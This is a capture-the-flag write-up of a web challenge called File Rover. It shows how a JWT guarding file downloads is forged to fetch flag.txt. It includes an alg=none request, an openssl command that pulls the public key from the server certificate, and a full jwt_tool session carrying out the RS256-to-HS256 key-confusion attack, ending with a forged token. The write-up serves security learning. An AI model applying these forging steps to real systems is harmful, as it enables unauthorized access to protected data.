Web 200: File Rover CTF Challenge
Sat Oct 12, 2019 · 4 min read

CTF: https://ctftime.org/event/888

When connecting to the challenge, we get a SSL error.

When checking out the other web challenges only this challenge use SSL. I took a note of this.

This is what the challenge looks like after telling chrome it’s okay to connect.

In the source code we also see a few other files that are interesting.

<!--
            <tr>
                <td>flag.txt</td>
                <td>4 Bytes</td>
                <td class="download-col">
                    <button type="button" class="btn btn-light" disabled="disabled">EXPIRED</button>
                </td>
            </tr>
-->

The download function looks like this

<a href="download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.dNHioi9RiEpyUtcOD6G5CBXU0EUi2HTl05eOvkFecmyoFyn5CWq5ExbwYLX8QE85qBaskOT-mtq3_XWwTxmGIKhPg8eOVuqqhU7nCg2eEdKwp-mjaPBnmDfBinvcfXEhItLi8T1hmMVgxaWSxQ1ZZKu4t-SFbuHOgesE6s9oBBiFMX92HSJbE3PnpAp6y6CYsI4hXBdzfAXERfmV0lV8-SRtKgKFwVTI-zmBlEGSReszw-NoDgGfFGF9e1tKjVb8sE3o5IYv5M5AmDjs8qWe5JO39IQeTJqn4r6Db6zPWjHKlheqFLrfytWQF9MvjDRU5CIu3tIRWYnylnVUA3Slrw" title="Download File" target="_blank" class="btn btn-primary" role="button">Download</a>

It looks like base64 json since the string starts with ey.

Decoding it gave us some clues that it’s JWT.

Using https://jwt.io/ we can decode the JWT data which consists of:

From the data we see that the algoritm is RS256 and the payload consists of a filename that is md5.

md5(future.jpg) = 7b421df11a53e33d929ef4c025f79f83

Goal

Our goal is to bypass the signature or forge our own signature so we can download flag.txt

JWT exploit 1

CVE-2015-2951 is basically a vulnerability in the JWT that allows you to change the algorithm to None and then remove the signature. More information here: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token#jwt-signature—none-algorithm.

TL;DR This will allow you to forge any payload you want.

I tried this bypass but it didn’t work.

GET /download.php?file=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJmaWxlbmFtZSI6IjhhNTNlMGE4NzMyMGNiMGMxYzcyMzk3MWI2Y2FiMWM5In0. HTTP/1.1
Host: gamebox3.reply.it:20443
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Invalid Token

JWT exploit 2

If you don’t know how this bypass work, you can read more here: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON Web Token#jwt-signature—rs256-to-hs256.

For the second bypass I used this tool: https://github.com/ticarpi/jwt_tool.

Remember from earlier when we had a SSL error. We can download the certificate from the challenge and export it to a file with chrome.

I exported the certificate as cert.pem.

From the certificate we can extract the public key with this command

$ openssl x509 -pubkey -noout -in cert.pem > pubkey.pem

I will now use the jwt_tooland the bypass "public key bypass in RSA mode".

$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.EaLNFE2h93_bBy_1LtyMiTrdXMwxs75yxS07_LnT_xs

,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
----''----''----''----''----''----''----''----''----''----'
     ,--.,--.   ,--.,--------.,--------.             ,--.
     |  ||  |   |  |'--.  .--''--.  .--',---.  ,---. |  |
,--. |  ||  |.'.|  |   |  |      |  |  | .-. || .-. ||  |
|  '-'  /|   ,'.   |   |  |,----.|  |  ' '-' '' '-' '|  |
 `-----' '--'   '--'   `--''----'`--'   `---'  `---' `--'
,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
'----''----''----''----''----''----''----''----''----''----'

Token header values:
[+] typ = JWT
[+] alg = HS256

Token payload values:
[+] filename = 7b421df11a53e33d929ef4c025f79f83

######################################################
# Options:                                           #
# 1: Check CVE-2015-2951 - alg=None vulnerability    #
# 2: Check for Public Key bypass in RSA mode         #
# 3: Check signature against a key                   #
# 4: Check signature against a key file ("kid")      #
# 5: Crack signature with supplied dictionary file   #
# 6: Tamper with payload data (key required to sign) #
# 0: Quit                                            #
######################################################

Please make a selection (1-6)
> 6

Token header values:
[1] typ = JWT
[2] alg = HS256
[3] *ADD A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] filename = 7b421df11a53e33d929ef4c025f79f83
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of filename is: 7b421df11a53e33d929ef4c025f79f83
Please enter new value and hit ENTER
> 159df48875627e2f7f66dae584c5e3a5
[1] filename = 159df48875627e2f7f66dae584c5e3a5
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file

Please select an option from above (1-4):
> 3

Please enter the Public Key filename:
> pubkey.pem
eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0

Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmaWxlbmFtZSI6IjE1OWRmNDg4NzU2MjdlMmY3ZjY2ZGFlNTg0YzVlM2E1In0.gkPHJYEXF0WEpvwzI4FxDkFGoG6dpBvVMhq6ibsl28w

Summary


back · #root · A taste of security · Break it, fix it. · I'm Hugo